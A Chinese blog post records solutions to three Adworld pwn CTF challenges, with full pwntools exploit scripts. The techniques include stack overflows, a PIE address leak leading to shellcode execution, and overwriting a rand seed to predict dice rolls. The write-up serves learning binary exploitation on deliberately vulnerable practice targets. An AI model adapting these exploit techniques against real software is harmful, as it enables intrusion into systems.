攻防世界pwn刷题记录

攻防世界pwn刷题记录

难度1

pwnstack

简单的栈溢出

from pwn import*
#io=process('./pwn2')
io=remote('61.147.171.105',51950)
backdoor=0x400762
payload=b'a'*168+p64(backdoor)
io.sendline(payload)
io.interactive()

repeater

checksec
在这里插入图片描述
开了pie
ida
main函数
在这里插入图片描述
向byte_202040(bss段的)写入name(将shellcode写入)
进行循环:输入0x40,如果v5==0x321321(3281697)则打印main函数随机后的地址
pie保护将地址随机化,会有一个基地址,其他函数根据偏移量确定
ida中的地址是偏移量
下图为main函数的地址(偏移)
在这里插入图片描述
v5在可以覆盖的范围内
在这里插入图片描述
绕过判断之后leak出地址,再根据偏移计算出基地址
下次输入(之前说过是循环)时跳出循环,将返回地址覆盖为bss处的地址获取shell
跳出循环的方式:将i覆盖为一个比v5大的数字
exp

from pwn import*
#io=process('./repeater')
io=remote('61.147.171.105',65025)
context.arch='amd64'
context.log_level='debug'
shellcode=asm(shellcraft.sh())
io.recvuntil(b'name :')
io.sendline(shellcode)
io.recvuntil(b'input :')
payload=b'a'*0x20+p64(0x321321)
io.sendline(payload)
io.recvuntil(b'you :\n')#有\n
main_addr=int(io.recvuntil(b'\n')[:-1],16)
main_dump=0xA33
bss_dump=0x202040
base=main_addr-main_dump
bss_addr=base+bss_dump
payload=b'a'*0x20+p64(0)+p64(1)+p64(0)+p64(bss_addr)
io.recvuntil(b'input :')
io.sendline(payload)
io.interactive()

对了第二次payload时
根据ida栈上的情况,i的位置应该是距离v5由12个字节,(覆盖了8字节在v5,再加4字节才是i的位置)
直接用p64就可以覆盖这四字节加i,
另一种方便理解的书写方式:payload=b'a'*0x20+p64(0)+b'a'*4+p32(1)+p64(0)+p64(bss_addr)

难度3

dice_game

checksec
在这里插入图片描述
ida
main函数
在这里插入图片描述
程序流程
进行50次循环(执行50次sub_A20函数)
在这里插入图片描述
输入一个数去和一个用随机函数生成的数进行比较,相同则能获取flag
在这里插入图片描述
随机数的生成:程序不是人,它需要一个输入才能又输出,所以随机大部分是伪随机(可以预测的),产生的过程是提前设置好一个计算函数,输入一个数字作为输入(我们叫他随机数种子)
所以知道了随机函数和种子,就可以推测出产生的随机数
主函数中的随机数种子是可以被覆盖的,它与buf相差0x40字节
在这里插入图片描述
另外题目给了我们libc库,利用这个库我们可以使用该程序使用的随机函数
然后进行50次的sub_A20函数(用循环)就能拿到flag
exp

from pwn import*
from ctypes import*
#io=process('./dice_game')
io=remote('61.147.171.105',50335)
libc=cdll.LoadLibrary('./libc.so.6')
libc.srand(0)
payload=b'a'*0x40+p64(0)
io.sendlineafter(b'name:',payload)
for i in range(50):
 i=libc.rand(0)%6+1
 io.sendlineafter(b'point(1~6):',str(i))
io.interactive()

导入ctypes这个库的目的是后面要用cdll.LoadLibrary函数
这样之后就可以调用libc库中的函数使用了
注意是python使用c的函数,所以用这个库
将程序中的随机数种子覆盖为0,将exp中的种子设置为0
后面就可以生成和v2一样的数字,保证比对通过
尝试过将v8覆盖成50,但失败

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值